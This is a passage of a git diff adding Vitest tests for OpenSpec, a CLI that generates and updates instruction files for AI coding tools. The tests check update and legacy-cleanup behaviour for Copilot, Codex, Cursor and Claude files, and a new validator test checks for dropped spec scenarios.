setupStepsPath = path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'); + const agentPath = path.join(testDir, '.github', 'agents', 'openspec.agent.md'); + await fs.rm(setupStepsPath, { force: true }); + await fs.rm(agentPath, { force: true }); + + await updateCommand.execute(testDir); + + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toContain('copilot-setup-steps:'); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toContain('# OpenSpec Agent'); + }); + + it('should refresh managed legacy Copilot files and preserve custom files during force update', async () => { + const initCommand = new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: true }); + await initCommand.execute(testDir); + + const setupStepsPath = path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'); + const agentPath = path.join(testDir, '.github', 'agents', 'openspec.agent.md'); + const legacySetupSteps = generateCopilotSetupSteps().replace( + /^# Generated by OpenSpec for GitHub Copilot coding agent support\.\n\n/, + '' + ); + const customAgent = 'custom Copilot agent'; + await fs.writeFile(setupStepsPath, legacySetupSteps); + await fs.writeFile(agentPath, customAgent); + + await new UpdateCommand({ force: true }).execute(testDir); + + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe( + generateCopilotSetupSteps() + ); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toBe(customAgent); + }); + + it('should not create cloud files on update when Copilot is configured but not opted in', async () => { + // Seed a configured github-copilot WITHOUT opting into cloud files. + const initCommand = new InitCommand({ tools: 'github-copilot', force: true }); + await initCommand.execute(testDir); + + await updateCommand.execute(testDir); + + await expect( + fs.stat(path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml')) + ).rejects.toMatchObject({ code: 'ENOENT' }); + await expect( + fs.stat(path.join(testDir, '.github', 'agents', 'openspec.agent.md')) + ).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('should refresh pre-existing managed cloud files even without a config opt-in (migration)', async () => { + // A project created before the opt-in existed: managed files are present + // but config carries no githubCopilot key. Update must keep them current. + const initCommand = new InitCommand({ tools: 'github-copilot', force: true }); + await initCommand.execute(testDir); + + const setupStepsPath = path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'); + const legacySetupSteps = generateCopilotSetupSteps().replace( + /^# Generated by OpenSpec for GitHub Copilot coding agent support\.\n\n/, + '' + ); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.writeFile(setupStepsPath, legacySetupSteps); + + await new UpdateCommand({ force: true }).execute(testDir); + + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe(generateCopilotSetupSteps()); + }); + + it('should remove managed cloud files on update when the user has opted out', async () => { + await new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: true }).execute(testDir); + const setupStepsPath = path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'); + const agentPath = path.join(testDir, '.github', 'agents', 'openspec.agent.md'); + expect(await fs.stat(setupStepsPath)).toBeTruthy(); + + await persistCopilotCloudOptIn(testDir, false); // explicit opt-out + + await new UpdateCommand({ force: true }).execute(testDir); + + await expect(fs.stat(setupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(fs.stat(agentPath)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('should preserve a customized cloud file on update even when opted out', async () => { + await new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: true }).execute(testDir); + const setupStepsPath = path.join(testDir, '.github', 'workflows', 'copilot-setup-steps.yml'); + await fs.writeFile(setupStepsPath, 'name: my own workflow\n'); + + await persistCopilotCloudOptIn(testDir, false); // explicit opt-out + + await new UpdateCommand({ force: true }).execute(testDir); + + // A user-customized file is never removed, even on opt-out. + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe('name: my own workflow\n'); + }); + + it('should warn when GitHub Copilot cloud files cannot be synchronized', async () => { + const initCommand = new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: true }); + await initCommand.execute(testDir); + + const agentsPath = path.join(testDir, '.github', 'agents'); + await fs.rm(agentsPath, { recursive: true, force: true }); + await fs.writeFile(agentsPath, 'blocks the generated agent directory'); + const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); + + await updateCommand.execute(testDir); + + expect(warnSpy).toHaveBeenCalledWith( + expect.stringContaining('failed to sync Copilot cloud agent files') + ); + }); + it('should detect update needed when generatedBy is missing', async () => { // Set up a configured tool without generatedBy const skillsDir = path.join(testDir, '.claude', 'skills'); @@ -852,57 +2069,249 @@ metadata: consoleSpy.mockRestore(); }); - }); + }); + + describe('legacy cleanup', () => { + it('should detect and auto-cleanup legacy files with --force flag', async () => { + // Set up a configured tool + const skillsDir = path.join(testDir, '.claude', 'skills'); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { + recursive: true, + }); + await fs.writeFile( + path.join(skillsDir, 'openspec-explore', 'SKILL.md'), + 'old' + ); + + // Create legacy CLAUDE.md with OpenSpec markers + const legacyContent = `${OPENSPEC_MARKERS.start} +# OpenSpec Instructions + +These instructions are for AI assistants. +${OPENSPEC_MARKERS.end} +`; + await fs.writeFile(path.join(testDir, 'CLAUDE.md'), legacyContent); + + const consoleSpy = vi.spyOn(console, 'log'); + + // Create update command with force option + const forceUpdateCommand = new UpdateCommand({ force: true }); + await forceUpdateCommand.execute(testDir); + + // Should show v1 upgrade message + expect(consoleSpy).toHaveBeenCalledWith( + expect.stringContaining('Upgrading to the new OpenSpec') + ); + + // Should show marker removal message (config files are never deleted, only have markers removed) + expect(consoleSpy).toHaveBeenCalledWith( + expect.stringContaining('Removed OpenSpec markers from CLAUDE.md') + ); + + // Config file should still exist (never deleted) + const legacyExists = await FileSystemUtils.fileExists( + path.join(testDir, 'CLAUDE.md') + ); + expect(legacyExists).toBe(true); + + // File should have markers removed + const content = await fs.readFile(path.join(testDir, 'CLAUDE.md'), 'utf-8'); + expect(content).not.toContain(OPENSPEC_MARKERS.start); + expect(content).not.toContain(OPENSPEC_MARKERS.end); + + consoleSpy.mockRestore(); + }); + + it('should remove managed global Codex opsx prompts with --force and preserve unmanaged prompts', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'commands', + }); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + await markCodexTarget(skillsDir); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { + recursive: true, + }); + await fs.writeFile( + path.join(skillsDir, 'openspec-explore', 'SKILL.md'), + 'old' + ); + + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const managedPrompt = path.join(promptDir, 'opsx-explore.md'); + const legacyPrompt = path.join(promptDir, 'openspec-proposal.md'); + const unmanagedPrompt = path.join(promptDir, 'personal-notes.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(managedPrompt, 'legacy explore prompt'); + await fs.writeFile(legacyPrompt, 'managed'); + await fs.writeFile(unmanagedPrompt, 'user'); + + const consoleSpy = vi.spyOn(console, 'log'); + + const forceUpdateCommand = new UpdateCommand({ force: true }); + await forceUpdateCommand.execute(testDir); + + expect(consoleSpy).toHaveBeenCalledWith( + expect.stringContaining('Deferred global prompts cleanup') + ); + expect(consoleSpy).toHaveBeenCalledWith( + expect.stringContaining(`codex: ${managedPrompt}`) + ); + expect(consoleSpy).toHaveBeenCalledWith( + expect.stringContaining(`Removed ${managedPrompt} (replaced by Codex skills)`) + ); + expect(await FileSystemUtils.fileExists(managedPrompt)).toBe(false); + expect(await FileSystemUtils.fileExists(legacyPrompt)).toBe(true); + expect(await FileSystemUtils.fileExists(unmanagedPrompt)).toBe(true); + + const skillFile = path.join(skillsDir, 'openspec-explore', 'SKILL.md'); + expect(await FileSystemUtils.fileExists(skillFile)).toBe(true); + const skillContent = await fs.readFile(skillFile, 'utf-8'); + expect(skillContent).toContain('name: openspec-explore'); + + consoleSpy.mockRestore(); + }); + + it('should infer Codex replacement workflows from legacy prompt filenames during forced update', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'skills', + }); + + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const managedPrompt = path.join(promptDir, 'opsx-explore.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(managedPrompt, 'legacy explore prompt'); + + const forceUpdateCommand = new UpdateCommand({ force: true }); + await forceUpdateCommand.execute(testDir); + + expect(await FileSystemUtils.fileExists(managedPrompt)).toBe(false); + expect(await FileSystemUtils.fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-explore', 'SKILL.md') + )).toBe(true); + expect(await FileSystemUtils.fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-apply-change', 'SKILL.md') + )).toBe(false); + expect(await FileSystemUtils.fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-archive-change', 'SKILL.md') + )).toBe(false); + }); + + it('should print a skill-based getting-started menu when a legacy upgrade newly configures codex', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'skills', + }); + + // Legacy managed Codex prompt with codex not yet configured: the + // upgrade newly configures codex, whose onboarding menu must not + // advertise /opsx:* commands (codex has no slash surface). + // The prompt is opsx-new.md so the inferred workflow ('new') is one the + // onboarding menu actually lists — the menu is now filtered to the + // workflows the upgrade installed. + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(path.join(promptDir, 'opsx-new.md'), 'legacy new prompt'); + + const consoleSpy = vi.spyOn(console, 'log'); + const forceUpdateCommand = new UpdateCommand({ force: true }); + await forceUpdateCommand.execute(testDir); + + const logCalls = consoleSpy.mock.calls.flat().map(String); + consoleSpy.mockRestore(); + + expect(logCalls.some((entry) => entry.includes('Getting started'))).toBe(true); + const menuLines = logCalls.filter((entry) => entry.includes('Scaffold a change')); + expect(menuLines).toHaveLength(1); + expect(menuLines[0]).toContain('$openspec-new-change'); + expect(logCalls.some((entry) => entry.includes('/opsx:new'))).toBe(false); + expect(logCalls.some((entry) => entry.includes('/opsx:continue'))).toBe(false); + expect(logCalls.some((entry) => entry.includes('/opsx:apply'))).toBe(false); + // Only the inferred workflow is advertised, not the rest of the profile + expect(logCalls.some((entry) => entry.includes('Next artifact'))).toBe(false); + expect(logCalls.some((entry) => entry.includes('Implement tasks'))).toBe(false); + }); - describe('legacy cleanup', () => { - it('should detect and auto-cleanup legacy files with --force flag', async () => { - // Set up a configured tool - const skillsDir = path.join(testDir, '.claude', 'skills'); - await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { - recursive: true, + it('should print the hyphen getting-started menu when a legacy upgrade newly configures cursor', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', }); - await fs.writeFile( - path.join(skillsDir, 'openspec-explore', 'SKILL.md'), - 'old' - ); - - // Create legacy CLAUDE.md with OpenSpec markers - const legacyContent = `${OPENSPEC_MARKERS.start} -# OpenSpec Instructions -These instructions are for AI assistants. -${OPENSPEC_MARKERS.end} -`; - await fs.writeFile(path.join(testDir, 'CLAUDE.md'), legacyContent); + // A pre-opsx Cursor project: legacy .cursor/commands/openspec-*.md files + // make the upgrade newly configure cursor, whose menu must name the + // commands its palette registers (/opsx-propose), not /opsx:propose. + const legacyDir = path.join(testDir, '.cursor', 'commands'); + await fs.mkdir(legacyDir, { recursive: true }); + await fs.writeFile(path.join(legacyDir, 'openspec-proposal.md'), 'legacy proposal command'); const consoleSpy = vi.spyOn(console, 'log'); + await new UpdateCommand({ force: true }).execute(testDir); + const logCalls = consoleSpy.mock.calls.flat().map(String); + consoleSpy.mockRestore(); + + const menuLines = logCalls.filter((entry) => entry.includes('Start a change')); + expect(menuLines).toHaveLength(1); + expect(menuLines[0]).toContain('/opsx-propose'); + expect(logCalls.some((entry) => entry.includes('/opsx:propose'))).toBe(false); + }); + + it('should preserve legacy Codex prompts when a configured Codex tool lacks the replacement workflow', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'skills', + }); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + await markCodexTarget(skillsDir); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { recursive: true }); + await fs.writeFile(path.join(skillsDir, 'openspec-explore', 'SKILL.md'), 'old'); + + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const managedPrompt = path.join(promptDir, 'opsx-onboard.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(managedPrompt, 'legacy onboard prompt'); - // Create update command with force option const forceUpdateCommand = new UpdateCommand({ force: true }); await forceUpdateCommand.execute(testDir); - // Should show v1 upgrade message - expect(consoleSpy).toHaveBeenCalledWith( - expect.stringContaining('Upgrading to the new OpenSpec') - ); + expect(await FileSystemUtils.fileExists(managedPrompt)).toBe(true); + expect(await FileSystemUtils.fileExists( + path.join(testDir, '.agents', 'skills', 'openspec-onboard', 'SKILL.md') + )).toBe(false); + }); - // Should show marker removal message (config files are never deleted, only have markers removed) - expect(consoleSpy).toHaveBeenCalledWith( - expect.stringContaining('Removed OpenSpec markers from CLAUDE.md') - ); + it('should install a missing Codex update skill before removing its prompt in the same forced run', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'commands', + }); - // Config file should still exist (never deleted) - const legacyExists = await FileSystemUtils.fileExists( - path.join(testDir, 'CLAUDE.md') - ); - expect(legacyExists).toBe(true); + const skillsDir = path.join(testDir, '.agents', 'skills'); + await markCodexTarget(skillsDir); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { recursive: true }); + await fs.writeFile(path.join(skillsDir, 'openspec-explore', 'SKILL.md'), 'old'); - // File should have markers removed - const content = await fs.readFile(path.join(testDir, 'CLAUDE.md'), 'utf-8'); - expect(content).not.toContain(OPENSPEC_MARKERS.start); - expect(content).not.toContain(OPENSPEC_MARKERS.end); + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const managedPrompt = path.join(promptDir, 'opsx-update.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(managedPrompt, 'prompt generated by OpenSpec v1.6.0'); - consoleSpy.mockRestore(); + const forceUpdateCommand = new UpdateCommand({ force: true }); + await forceUpdateCommand.execute(testDir); + + expect(await FileSystemUtils.fileExists( + path.join(skillsDir, 'openspec-update-change', 'SKILL.md') + )).toBe(true); + expect(await FileSystemUtils.fileExists(managedPrompt)).toBe(false); }); it('should warn but continue with update when legacy files found in non-interactive mode', async () => { @@ -1137,13 +2546,19 @@ More user content after markers. expect.stringContaining('Claude Code') ); - // Should show getting started message for newly configured tools + // Should show getting started message for newly configured tools, + // limited to the commands the core profile installs (not new/continue) expect(consoleSpy).toHaveBeenCalledWith( expect.stringContaining('Getting started') ); expect(consoleSpy).toHaveBeenCalledWith( - expect.stringContaining('/opsx:new') + expect.stringContaining('/opsx:propose') ); + const gettingStartedCalls = consoleSpy.mock.calls + .map((call) => call.map((arg) => String(arg)).join(' ')) + .join('\n'); + expect(gettingStartedCalls).not.toContain('/opsx:new'); + expect(gettingStartedCalls).not.toContain('/opsx:continue'); // Skills should be created const skillFile = path.join(testDir, '.claude', 'skills', 'openspec-explore', 'SKILL.md'); @@ -1282,6 +2697,35 @@ More user content after markers. consoleSpy.mockRestore(); }); + it('should list the expanded commands a custom profile installs', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'custom', + delivery: 'both', + workflows: ['new', 'continue', 'apply'], + }); + + const legacyCommandDir = path.join(testDir, '.claude', 'commands', 'openspec'); + await fs.mkdir(legacyCommandDir, { recursive: true }); + await fs.writeFile( + path.join(legacyCommandDir, 'proposal.md'), + 'old command content' + ); + + const consoleSpy = vi.spyOn(console, 'log'); + + await new UpdateCommand({ force: true }).execute(testDir); + + const output = consoleSpy.mock.calls + .map((call) => call.map((arg) => String(arg)).join(' ')) + .join('\n'); + expect(output).toContain('/opsx:new'); + expect(output).toContain('/opsx:continue'); + expect(output).not.toContain('/opsx:propose'); + + consoleSpy.mockRestore(); + }); + it('should not show getting started message when no new tools configured', async () => { // Set up a configured tool (no legacy artifacts) const skillsDir = path.join(testDir, '.claude', 'skills'); @@ -1324,6 +2768,7 @@ More user content after markers. 'openspec-propose', 'openspec-explore', 'openspec-apply-change', + 'openspec-sync-specs', 'openspec-archive-change', ]; @@ -1426,6 +2871,94 @@ More user content after markers. )).toBe(false); }); + it('should list missing core workflows when custom profile preserves the old core workflow set', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'custom', + delivery: 'both', + workflows: ['propose', 'explore', 'apply', 'archive'], + }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + const consoleSpy = vi.spyOn(console, 'log'); + + await updateCommand.execute(testDir); + + const calls = consoleSpy.mock.calls.map(call => + call.map(arg => String(arg)).join(' ') + ); + expect(calls.some(call => + call.includes('Your custom profile is missing 2 core workflows: update, sync') + )).toBe(true); + expect(calls.some(call => + call.includes('openspec config profile core') + )).toBe(true); + + expect(await FileSystemUtils.fileExists( + path.join(testDir, '.claude', 'skills', 'openspec-sync-specs', 'SKILL.md') + )).toBe(false); + expect(await FileSystemUtils.fileExists( + path.join(testDir, '.claude', 'commands', 'opsx', 'sync.md') + )).toBe(false); + + consoleSpy.mockRestore(); + }); + + it('should list a single missing core workflow when custom profile lacks only update', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'custom', + delivery: 'both', + workflows: ['propose', 'explore', 'apply', 'sync', 'archive'], + }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + const consoleSpy = vi.spyOn(console, 'log'); + + await updateCommand.execute(testDir); + + const calls = consoleSpy.mock.calls.map(call => + call.map(arg => String(arg)).join(' ') + ); + expect(calls.some(call => + call.includes('Your custom profile is missing 1 core workflow: update') + )).toBe(true); + expect(calls.some(call => + call.includes('to add it, or') + )).toBe(true); + + consoleSpy.mockRestore(); + }); + + it('should not display a missing-core note when custom profile covers core workflows', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'custom', + delivery: 'both', + workflows: ['propose', 'explore', 'apply', 'update', 'sync', 'archive', 'verify'], + }); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + const consoleSpy = vi.spyOn(console, 'log'); + + await updateCommand.execute(testDir); + + const calls = consoleSpy.mock.calls.map(call => + call.map(arg => String(arg)).join(' ') + ); + expect(calls.some(call => + call.includes('Your custom profile is missing') + )).toBe(false); + + consoleSpy.mockRestore(); + }); + it('should respect skills-only delivery setting', async () => { setMockConfig({ featureFlags: {}, @@ -1449,6 +2982,25 @@ More user content after markers. expect(await FileSystemUtils.fileExists( path.join(commandsDir, 'explore.md') )).toBe(false); + + // Skill content should reference skills, not commands that were never generated + const skillContent = await fs.readFile( + path.join(skillsDir, 'openspec-explore', 'SKILL.md'), + 'utf-8' + ); + expect(skillContent).not.toContain('/opsx:'); + expect(skillContent).not.toContain('/opsx-'); + expect(skillContent).toContain('/openspec-'); + + // update-change references several other workflows; a command missing + // from the reference map would leave a raw /opsx: reference behind + const updateSkillContent = await fs.readFile( + path.join(skillsDir, 'openspec-update-change', 'SKILL.md'), + 'utf-8' + ); + expect(updateSkillContent).not.toContain('/opsx:'); + expect(updateSkillContent).not.toContain('/opsx-'); + expect(updateSkillContent).toContain('/openspec-'); }); it('should respect commands-only delivery setting', async () => { @@ -1476,6 +3028,138 @@ More user content after markers. )).toBe(false); }); + it('should be a no-op on second update run for commands-only delivery', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'commands', + }); + + const skillsDir = path.join(testDir, '.claude', 'skills'); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { recursive: true }); + await fs.writeFile(path.join(skillsDir, 'openspec-explore', 'SKILL.md'), 'old'); + + // First run updates commands and removes skills + await updateCommand.execute(testDir); + + const consoleSpy = vi.spyOn(console, 'log'); + + // Second run should report all tools up to date without updating + await updateCommand.execute(testDir); + + const logCalls = consoleSpy.mock.calls.flat().map(String); + expect(logCalls.some((entry) => entry.includes('up to date'))).toBe(true); + expect(logCalls.some((entry) => entry.includes('Updating 1 tool(s)'))).toBe(false); + + consoleSpy.mockRestore(); + }); + + it.each(['both', 'skills', 'commands'] as const)( + 'should refresh Codex skills and not create global prompts when delivery=%s', + async (delivery) => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery, + }); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + await markCodexTarget(skillsDir); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { recursive: true }); + await fs.writeFile(path.join(skillsDir, 'openspec-explore', 'SKILL.md'), 'old'); + + await updateCommand.execute(testDir); + + const skillFile = path.join(skillsDir, 'openspec-explore', 'SKILL.md'); + expect(await FileSystemUtils.fileExists(skillFile)).toBe(true); + const skillContent = await fs.readFile(skillFile, 'utf-8'); + expect(skillContent).toContain('name: openspec-explore'); + + const promptFile = path.join(process.env.CODEX_HOME!, 'prompts', 'opsx-explore.md'); + expect(await FileSystemUtils.fileExists(promptFile)).toBe(false); + } + ); + + it('should report Codex command generation as skipped because it uses skills', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + await markCodexTarget(skillsDir); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { recursive: true }); + await fs.writeFile(path.join(skillsDir, 'openspec-explore', 'SKILL.md'), 'old'); + + const consoleSpy = vi.spyOn(console, 'log'); + + await updateCommand.execute(testDir); + + expect(consoleSpy).toHaveBeenCalledWith( + expect.stringContaining('Updated: Codex') + ); + expect(consoleSpy).toHaveBeenCalledWith( + expect.stringContaining('Commands skipped for: codex (uses skills)') + ); + + consoleSpy.mockRestore(); + }); + + it('should preserve managed global Codex prompts during non-interactive update without force', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'skills', + }); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + await markCodexTarget(skillsDir); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { recursive: true }); + await fs.writeFile(path.join(skillsDir, 'openspec-explore', 'SKILL.md'), 'old'); + + const promptDir = path.join(process.env.CODEX_HOME!, 'prompts'); + const managedPrompt = path.join(promptDir, 'opsx-explore.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(managedPrompt, 'legacy explore prompt'); + + await updateCommand.execute(testDir); + + expect(await FileSystemUtils.fileExists(managedPrompt)).toBe(true); + expect(await FileSystemUtils.fileExists( + path.join(skillsDir, 'openspec-explore', 'SKILL.md') + )).toBe(true); + }); + + it('should preserve global MiniMax Code skills in commands-only delivery', async () => { + setMockConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'commands', + }); + + const skillFile = path.join( + testDir, + 'home', + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(skillFile), { recursive: true }); + await fs.writeFile(skillFile, 'existing global skill'); + + const consoleSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + await updateCommand.execute(testDir); + + expect(await fs.readFile(skillFile, 'utf-8')).toBe('existing global skill'); + expect(await FileSystemUtils.directoryExists(path.join(testDir, '.minimax'))).toBe(false); + const output = consoleSpy.mock.calls.flat().join('\n'); + expect(output).toContain('up to date'); + expect(output).not.toContain('Updated: MiniMax Code'); + consoleSpy.mockRestore(); + }); + it('should remove skills for configured tools without command adapters in commands-only delivery', async () => { setMockConfig({ featureFlags: {}, @@ -1484,8 +3168,10 @@ More user content after markers. }); const { AI_TOOLS } = await import('../../src/core/config.js'); - const { CommandAdapterRegistry } = await import('../../src/core/command-generation/index.js'); - const adapterlessTool = AI_TOOLS.find((tool) => tool.skillsDir && !CommandAdapterRegistry.get(tool.value)); + const { resolveCommandSurfaceCapability } = await import('../../src/core/command-surface.js'); + const adapterlessTool = AI_TOOLS.find((tool) => + tool.skillsDir && resolveCommandSurfaceCapability(tool.value) === 'none' + ); expect(adapterlessTool).toBeDefined(); if (!adapterlessTool?.skillsDir) { return; @@ -1495,11 +3181,19 @@ More user content after markers. await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { recursive: true }); await fs.writeFile(path.join(skillsDir, 'openspec-explore', 'SKILL.md'), 'old'); + const consoleSpy = vi.spyOn(console, 'log'); await expect(updateCommand.execute(testDir)).resolves.toBeUndefined(); expect(await FileSystemUtils.fileExists( path.join(skillsDir, 'openspec-explore', 'SKILL.md') )).toBe(false); + + // The tool now has zero OpenSpec artifacts; the removal must not be + // silent — update prints the same configuration correction init does. + const logCalls = consoleSpy.mock.calls.flat().map(String); + const correction = logCalls.find((entry) => entry.includes('No skills or commands remain')); + expect(correction).toBeTruthy(); + expect(correction).toContain("openspec config set delivery both"); }); it('should apply config sync when templates are up to date', async () => { @@ -1569,7 +3263,7 @@ content }); it('should remove workflows outside profile during update sync', async () => { - // Set core profile (propose, explore, apply, archive) + // Set core profile (propose, explore, apply, sync, archive) setMockConfig({ featureFlags: {}, profile: 'core', diff --git a/test/core/validation.scenario-loss.test.ts b/test/core/validation.scenario-loss.test.ts new file mode 100644 index 0000000000..32524e526b --- /dev/null +++ b/test/core/validation.scenario-loss.test.ts @@ -0,0 +1,402 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { promises as fs } from 'fs'; +import os from 'os'; +import path from 'path'; +import { Validator } from '../../src/core/validation/validator.js'; +import { buildUpdatedSpec, findSpecUpdates } from '../../src/core/specs-apply.js'; + +/** + * validate reports the scenario loss archive refuses to apply (#1477). + * + * The point of these tests is parity: every case validate rejects must be one + * archive already rejects, and every case archive accepts must stay valid. + */ +describe('validate: MODIFIED blocks that would drop a main-spec scenario (#1477)', () => { + let testDir: string; + let changesDir: string; + let mainSpecsDir: string; + + /** Two scenarios in the main spec; the delta below keeps only the first. */ + const TWO_SCENARIO_REQUIREMENT = `### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported\n\n#### Scenario: Second scenario\n- **WHEN** idle\n- **THEN** idle is reported`; + const DELTA_KEEPING_ONE = `## MODIFIED Requirements\n\n### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported\n`; + + const mainSpec = (body: string) => + `# widgets Specification\n\n## Purpose\nDefine widget behavior for these tests.\n\n## Requirements\n\n${body}\n`; + + const writeMainSpec = async (id: string, content: string) => { + const file = path.join(mainSpecsDir, ...id.split('/'), 'spec.md'); + await fs.mkdir(path.dirname(file), { recursive: true }); + await fs.writeFile(file, content); + }; + + const writeChange = async (changeName: string, specId: string, delta: string) => { + const changeDir = path.join(changesDir, changeName); + const specDir = path.join(changeDir, 'specs', ...specId.split('/')); + await fs.mkdir(specDir, { recursive: true }); + await fs.writeFile(path.join(specDir, 'spec.md'), delta); + return changeDir; + }; + + /** The scenario-loss issue, so assertions cannot pass on an unrelated error. */ + const lossIssue = (report: { issues: Array<{ level: string; path: string; message: string }> }) => + report.issues.find((i) => i.message.includes('omits scenario(s)')); + + const validate = (changeDir: string) => + new Validator(true).validateChangeDeltaSpecs(changeDir, { mainSpecsDir }); + + /** + * What archive would do with the same change: null when it applies cleanly. + * It shares the comparison itself with the validator (that is the point of the + * refactor), so what it cross-checks is the layer above: spec discovery, which + * requirement block the MODIFIED lands on, and archive's operation order. + */ + const archiveError = async (changeDir: string): Promise<string | null> => { + const updates = await findSpecUpdates(changeDir, mainSpecsDir); + for (const update of updates) { + try { + await buildUpdatedSpec(update, path.basename(changeDir), { silent: true }); + } catch (error) { + return error instanceof Error ? error.message : String(error); + } + } + return null; + }; + + beforeEach(async () => { + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-scenario-loss-')); + changesDir = path.join(testDir, 'openspec', 'changes'); + mainSpecsDir = path.join(testDir, 'openspec', 'specs'); + await fs.mkdir(changesDir, { recursive: true }); + await fs.mkdir(mainSpecsDir, { recursive: true }); + }); + + afterEach(async () => { + await fs.rm(testDir, { recursive: true, force: true }); + }); + + it('errors when the MODIFIED block omits a scenario the main spec still has', async () => { + await writeMainSpec( + 'widgets', + mainSpec(TWO_SCENARIO_REQUIREMENT) + ); + const changeDir = await writeChange( + 'rename-scenario', + 'widgets', + DELTA_KEEPING_ONE + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + const issue = report.issues.find((i) => i.message.includes('omits scenario(s)')); + expect(issue?.level).toBe('ERROR'); + expect(issue?.path).toBe('widgets/spec.md'); + expect(issue?.message).toContain('MODIFIED "Widget state"'); + expect(issue?.message).toContain('"Second scenario"'); + // Parity: archive refuses this change today, naming the same scenario. + expect(await archiveError(changeDir)).toContain('Second scenario'); + }); + + it('counts repeated scenario names, so keeping one of two duplicates still errors', async () => { + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Repeated\n- **WHEN** queried once\n- **THEN** the state is reported\n\n#### Scenario: Repeated\n- **WHEN** queried twice\n- **THEN** the state is reported again` + ) + ); + const changeDir = await writeChange( + 'drop-duplicate', + 'widgets', + `## MODIFIED Requirements\n\n### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Repeated\n- **WHEN** queried once\n- **THEN** the state is reported\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + expect(lossIssue(report)?.message).toContain('"Repeated"'); + expect(await archiveError(changeDir)).toContain('Repeated'); + }); + + it('accepts a MODIFIED block that carries every current scenario over', async () => { + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported` + ) + ); + const changeDir = await writeChange( + 'keeps-all', + 'widgets', + `## MODIFIED Requirements\n\n### Requirement: Widget state\nThe system SHALL report the widget state promptly.\n\n#### 